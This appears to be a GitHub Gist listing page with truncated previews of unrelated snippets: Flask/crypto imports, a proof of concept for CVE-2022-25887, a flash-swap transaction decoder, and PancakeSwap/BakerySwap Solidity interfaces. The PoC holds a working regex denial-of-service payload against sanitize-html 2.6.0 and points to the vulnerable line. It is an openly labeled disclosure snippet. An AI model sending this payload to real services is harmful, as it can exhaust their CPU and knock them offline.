Skip to content

Instantly share code, notes, and snippets.

from flask import Flask, jsonify, request
from pymemcache.client import base # brew install memcached && pip install pymemcache
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import ssl, sys, sqlite3, uuid, os, json
@this-post
this-post / CVE-2022-25887.js
Created January 19, 2023 07:13
CVE-2022-25887 Proof of Concept
const sanitizeHtml = require('sanitize-html'); // tested on sanitize-html 2.6.0
var payload = "<a href='http://youtube" + "<!--".repeat(999999) + ".com'>";
sanitizeHtml(payload)
// console.log(sanitizeHtml(payload));
// href = "<a href='http://youtube" + "<!--".repeat(999999) + ".com'>";
// href = href.replace(/<!--.*?-->/g, ''); // this is a vulnerable line on naughtyHref(name, href) of index.js
// console.log(href);
const InputDataDecoder = require('ethereum-input-data-decoder')
let abi = [{"inputs":[{"internalType":"address","name":"_sender","type":"address"},{"internalType":"uint256","name":"_amount0","type":"uint256"},{"internalType":"uint256","name":"_amount1","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"pancakeCall","outputs":[],"stateMutability":"nonpayable","type":"function"}]
let data = "0x84800812000000000000000000000000cc598232a75fb1b361510bce4ca39d7bc39cf498000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000deb41b5d63a9bb93b4f4000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000"
let decoder = new InputDataDecoder(abi)
result = decoder.decodeData(data)
// https://stackoverflow.com/questions/34309988/byte-array-to-hex-string-conversion-in-javascript
function toHexString(byteArra
pragma solidity ^0.6.0;
import './Libraries/SafeMath.sol';
import './Interfaces/IPancakeERC20.sol';
import './Interfaces/IPancakeFactory.sol';
import './Interfaces/IPancakePair.sol';
import './Interfaces/IPancakeRouter01.sol';
import './Libraries/PancakeLibrary.sol';
import './Interfaces/IBakerySwapRouter.sol';
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './SafeMath.sol';
import '../Interfaces/IPancakePair.sol';
library PancakeLibrary {
using SafeMath for uint;
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
pragma solidity >=0.6.0;
interface IBakerySwapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
pragma solidity >=0.6.0;
interface IBakerySwapRouter {
function factory() external pure returns (address);
function WBNB() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
pragma solidity >=0.6.0;
interface IPancakeERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
pragma solidity >=0.6.0;
interface IPancakeCallee {
function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}